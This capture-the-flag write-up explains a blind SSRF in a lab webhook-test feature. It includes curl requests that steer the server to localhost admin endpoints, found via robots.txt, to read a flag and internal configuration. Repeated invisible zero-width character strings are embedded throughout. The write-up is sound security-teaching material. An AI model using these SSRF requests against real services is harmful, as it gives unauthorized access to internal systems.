← Back to Writeups
CUSTOMMediumWeb

Lab 340 — PingRelay — Blind SSRF via Webhook Test

XESXOR9/10/20263 min read
#web#custom#medium#internal_service_discovery#robots_txt_enumeration#ssrf_via_webhook#linux

Lab 340 — PingRelay — Blind SSRF via Webhook Test

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: internal_service_discovery, robots_txt_enumeration, ssrf_via_webhook

Summary

Task: Flask notification platform with webhook testing feature. Solution: SSRF via webhook URL parameter to access internal admin API on localhost:3001, discovered through robots.txt.

Lab 340 — PingRelay — Blind SSRF via Webhook Test — HackAdvisor

Description

PingRelay is a notification management platform built by RelayStack Inc. that lets teams configure and route alerts across multiple channels including email, SMS, Slack, and Discord. The platform provides a centralized dashboard for managing notification templates, delivery channels, and integration webhooks.

As a security researcher, you've been given access to the PingRelay platform. Your objective is to identify and exploit a vulnerability that allows you to access internal services that should not be reachable from the outside.

The flag is stored on an internal service not directly accessible from the internet.

Hint: Explore the channel configuration page. There's a feature that sends HTTP requests on your behalf — what URLs can you make it reach? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based notification management platform with webhook testing functionality. The goal is to exploit SSRF to access an internal service containing the flag.

Analysis

The PingRelay application is a Flask-based (Python 3.11) notification management platform. Key discovery points:

  1. Channel Configuration Page (/channels/configure) — Contains a "Test Webhook" feature
  2. Webhook Test API (/api/notifications/test-webhook) — Accepts a webhook_url parameter and makes server-side HTTP POST requests
  3. Information Disclosure — robots.txt reveals internal admin API location at localhost:3001 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The webhook test feature is vulnerable to SSRF because:

  • It accepts arbitrary URLs in the webhook_url parameter
  • It makes server-side requests to the specified URL
  • It returns the response body to the user (making it a full-read SSRF)

Solution

Step 1: Discover the Webhook Test Feature

Explored the application and found the channel configuration page with a webhook testing feature that calls /api/notifications/test-webhook.

Step 2: Confirm SSRF Vulnerability

Tested the webhook endpoint with localhost to confirm server-side request capability: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -X POST "https://ebc6dfb1-b1dd-4904-a93c-4720a2e139b3.labs.hackadvisor.io/api/notifications/test-webhook" \
  -H "Content-Type: application/json" \
  -d '{"webhook_url":"http://localhost:8080/"}'

Response confirmed the server makes requests and returns the response:

json
{"response_body":"...","response_time_ms":2,"status_code":405,"success":true}

Step 3: Discover Internal Service via robots.txt

Checked /robots.txt which revealed the internal admin API:

User-agent: *
Disallow: /api/
Disallow: /admin/
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Internal services - do not crawl
# Admin API: http://localhost:3001/admin/

Step 4: Exploit SSRF to Access Internal Admin API

Used the SSRF vulnerability to reach the internal admin service on port 3001:

bash
curl -s -X POST "https://ebc6dfb1-b1dd-4904-a93c-4720a2e139b3.labs.hackadvisor.io/api/notifications/test-webhook" \
  -H "Content-Type: application/json" \
  -d '{"webhook_url":"http://localhost:3001/admin/flag"}'

Response containing the flag:

json
{
  "response_body": "{\"status\": \"ok\", \"service\": \"pingrelay-admin\", \"flag\": \"FLAG{REDACTED}\"}",
  "response_time_ms": 2,
  "status_code": 200,
  "success": true
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Additional Enumeration (Bonus)

The /admin/config endpoint revealed internal configuration:

json
{
  "database": "sqlite:///app/data/pingrelay.db",
  "log_level": "warning",
  "max_retries": 5,
  "rate_limit": "100/min",
  "admin_endpoints": ["/admin/health", "/admin/config", "/admin/flag", "/admin/metrics"]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍